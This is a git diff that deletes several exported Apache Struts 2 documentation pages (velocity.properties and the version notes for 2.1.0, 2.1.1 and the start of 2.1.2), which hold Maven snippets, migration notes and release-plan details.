-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>velocity.properties</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="velocityproperties.html">velocity.properties</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">velocity.properties</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14310">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14310">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14310">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14310">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14310">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14310">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>If a <code>velocity.properties</code> is provided on the classpath (e.g., <code>/WEB-INF/classes</code>), it will be loaded by Velocity.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>velocity.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-# Velocity Macro libraries.
-velocimacro.library = action-default.vm, tigris-macros.vm, myapp.vm
-</pre>
-</div></div>
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See <a shape="rect" href="struts-defaultvm.html">struts-default.vm</a> and the <a shape="rect" href="velocity.html">Velocity</a> documentation for more information.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-210.html b/content/docs/version-notes-210.html
deleted file mode 100644
index ae979be..0000000
--- a/content/docs/version-notes-210.html
+++ /dev/null
@@ -1,206 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.0</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-210.html">Version Notes 2.1.0</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.0</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44710">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44710">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44710">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44710">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44710">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44710">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.0 build.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="release-notes-2011.html">Release Notes 2.0.11</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.0&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.0-Backwardcompatibilityissueswithpriordevelopmentrelease">Backward compatibility issues with prior development release</h2>
-
-<ul><li>Zero configuration feature has been moved to the Codebehind plugin</li></ul>
-
-
-<h2 id="VersionNotes2.1.0-NewFeaturesandPlugins">New Features and Plugins</h2>
-
-<ul><li>The Dojo plugin replaces the Ajax Theme</li></ul>
-
-
-<h3 id="VersionNotes2.1.0-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21793">JIRA Release Notes 2.1.0</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.0-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10767">Struts 2.1.0 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10766">Struts 2.1.0 TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.1.0-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="VersionNotes2.1.0-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.0 will be the first milestone/test-build in the 2.1.x series.
-	<ul><li>There is yet to be a GA release in this series.</li></ul>
-	</li><li>The Build/Release Managers is Ted Husted.</li><li>The proposed tag date for the build is 22 Oct 2007.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-211.html b/content/docs/version-notes-211.html
deleted file mode 100644
index 81cfc59..0000000
--- a/content/docs/version-notes-211.html
+++ /dev/null
@@ -1,207 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-211.html">Version Notes 2.1.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=69668">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=69668">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=69668">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=69668">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=69668">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=69668">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.1 build.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="version-notes-210.html">Version Notes 2.1.0</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.1-Backwardcompatibilityissueswithpreviousversions">Backward compatibility issues with previous versions</h2>
-
-<ul><li>Since 2.1.0: All default result names and interceptor names are now in camelCase (eg. was redirect-action, is now redirectAction)</li><li>Since 2.1.0: The "ajax" theme is provided by the Dojo Plugin. Applications using the ajax theme must include the Dojo Plugin dependency and modify existing pages to import the plugin's own taglib/model</li><li>Since 2.1.0 Tiles plugin: A DOCTYPE is now mandatory in the Tiles definitions XML</li><li>The immutable Configuration object is now crea [...]
-
-
-<h2 id="VersionNotes2.1.1-NewFeaturesandPlugins">New Features and Plugins</h2>
-
-<ul><li>REST Plugin</li><li>JUnit Plugin (moved out of core)</li><li>TestNG Plugin (moved out of core)</li><li>DWR Plugin (moved out of core)</li><li>Portlet support moved to plugin (Since 2.1.0)</li></ul>
-
-
-<h3 id="VersionNotes2.1.1-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21863">JIRA Release Notes 2.1.1</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10848">Struts 2.1.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10847">Struts 2.1.1 TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.1.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/troubleshooting-guide-migrating-from-struts-20x-to-21x.html">Migration Struts 2.0.x to [...]
-
-
-<h2 id="VersionNotes2.1.1-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.1 was the second milestone/test-build in the 2.1.x series.
-	<ul><li>There is yet to be a GA release in this series.</li></ul>
-	</li><li>The Build/Release Managers is Don Brown</li><li>The tag date for the build was 18 April, 2008</li><li>The test build never made it the quality vote stage due to licensing and artifact content issues.</li></ul>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-212.html b/content/docs/version-notes-212.html
deleted file mode 100644
index 5256870..0000000
--- a/content/docs/version-notes-212.html
+++ /dev/null
@@ -1,207 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-212.html">Version Notes 2.1.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=84322">
